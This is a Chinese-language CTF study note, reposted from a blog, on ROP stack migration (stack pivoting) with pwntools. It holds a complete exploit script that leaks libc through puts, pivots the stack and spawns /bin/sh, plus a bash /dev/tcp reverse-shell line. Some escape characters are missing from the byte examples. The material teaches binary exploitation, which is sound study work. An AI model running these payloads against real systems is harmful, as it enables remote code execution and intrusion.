Pwn_8 ROP(3)——Stack Migration

Stack Migration 栈转移

image

没有直接打印函数的实际地址,就自己调用puts函数。给puts函数对应的地址,可以将地址的值打印出来

函数解释

  • p32()主要是对整数进行打包,就是转换成二进制的形式,比如转换成地址。p32、p64是打包,u32、u64是解包。

反弹shell r.send(''bash -c "bash -i >& /dev/tcp/127.0.0.1/31337 0>&1" ')

>>> p8(0)
'x00'
>>> p32(0xdeadbeef)
'xefxbexadxde'
>>> p32(0xdeadbeef, endian='big')
'xdexadxbexef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
'xdexadxbexef'
  • map()函数接收两个参数,一个是函数,一个是序列,map将传入的函数依次作用到序列的每个元素,并把结果作为新的list返回。
  • Python中有join()和os.path.join()两个函数,具体作用如下:
        join():    连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串 ‘seq’.join(seq)
        os.path.join():  将多个路径组合后返回

栈转移脚本

from pwn import *

r = remote('127.0.0.1',4000)

puts = 0x08048360
gets = 0x08048350

libc_start_main_got = 0x804a018

pop_ebp_ret = 0x0804854b
leave_ret = 0x08048408
buf = 0x0804b000 - 100
buf1 = 0x0804b000 - 1000

rop1 = [
     puts,
     pop_ebp_ret,
     libc_start_main_got,
     gets,
     pop_ebp_ret,
     buf,
     pop_ebp_ret,
     buf-4,
     leave_ret
]
r.send('A'*22 + ''.join(map(p32,rop1)) + ' ')
r.recvline()

libc = u32(r.recvline()[:4] - 0x00018540)

print('libc base address : ',hex(libc))
system = libc + 0x0003ada0

rop2 = [
     gets,
     system,
     buf1,
     buf1
]

r.send(''.join(map(p32,rop2)) + ' ')

r.sendline('/bin/shx00')

raw_input('#')

r.interactive()

原文地址:https://www.cnblogs.com/rookieDanny/p/8512138.html